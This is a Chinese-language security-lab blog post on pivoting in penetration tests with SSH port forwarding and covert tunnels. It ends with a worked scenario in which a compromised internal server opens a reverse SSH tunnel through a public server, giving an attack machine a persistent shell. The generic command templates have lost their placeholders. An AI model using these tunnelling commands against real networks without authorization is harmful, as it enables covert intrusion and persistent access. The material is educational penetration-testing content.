提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      安全实验室 | 内网渗透—利用SSH进行端口转发&隐蔽隧道
      发布时间:2021-01-01 阅读次数: 440 次

      在渗透测试中我们经常会遇到一些内部测试的环境群、DMZ等机器群,这些目标都有着一些共有的特性,例如不出网、访问受限等,这给渗透测试带来了极大的困难。为了能够实现对这些机器的‘完全控制’,将整个目标网络打通,端口转发是必不可少的技术之一。


      本期美创安全实验将为大家带来如何利用SSH服务实现端口转发并搭建隐蔽隧道。


      1、SSH端口转发原理


      SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据,因为SSH为其他的TCP链接提供了一个安全的通道来进行数据传输,避免出现了用户名、密码及隐私信息的明文泄露情况。而且SSH链接还可以突破防火墙的限制,完成一些之前无法正常建立的TCP连接。


      2、SHH端口转发及搭建隧道实战


      1、准备


      SSH开启端口转发需要修改/etc/ssh/sshd_config配置文件,将GatewayPorts修改为yes。




      SSH端口转发的参数说明:


      -f 后台执行ssh指令

      -C 允许压缩数据

      -N 不执行远程指令

      -R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

      -L 本地端口转发

      -D 动态端口转发


      2、SSH进行本地端口转发


      将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。


      执行以下命令即可:

      ssh-L `:`::


      登陆前本地主机端口监听状态




      执行本地端口转发命令




      登陆后本地主机端口监听状态




      3、SSH进行本地端口转发


      SSH远程端口转发就是将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。


      执行以下命令即可:

      ssh -R `:`::


      假设现在有这样一个内网环境,我们已经获取了公网服务器A的权限以及内网服务器B的权限,但是我没有办法让外网攻击机C直接连接到内网服务器B,所以为了获取到B的一个稳定持久的SHELL,就可以通过SSH远程端口转发做到。


      公网服务器A的IP:192.168.210.38

      内网服务器B的IP:192.168.210.111

      外网攻击机C的IP:192.168.20.35




      且内部服务器B可以与公网服务器A进行通信,而无法与攻击机C进行通信。




      首先在内网服务器B上执行以下命令(反向代理):

      Ssh -fCNR 192.168.210.38:8888:localhost:22 root@192.168.210.38

      将B机器的22号端口流量都转发给A机器的8888端口


      然后在公网服务器A上执行以下命令(正向代理):

      Ssh -fCNL *:4321:localhost:8888 localhost

      将A机器上监听的4321端口的流量都转发给本地的8888端口


      在攻击机上,直接连接公网服务器A的4321端口即可。

      Ssh -p 4321 root@192.168.210.38

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部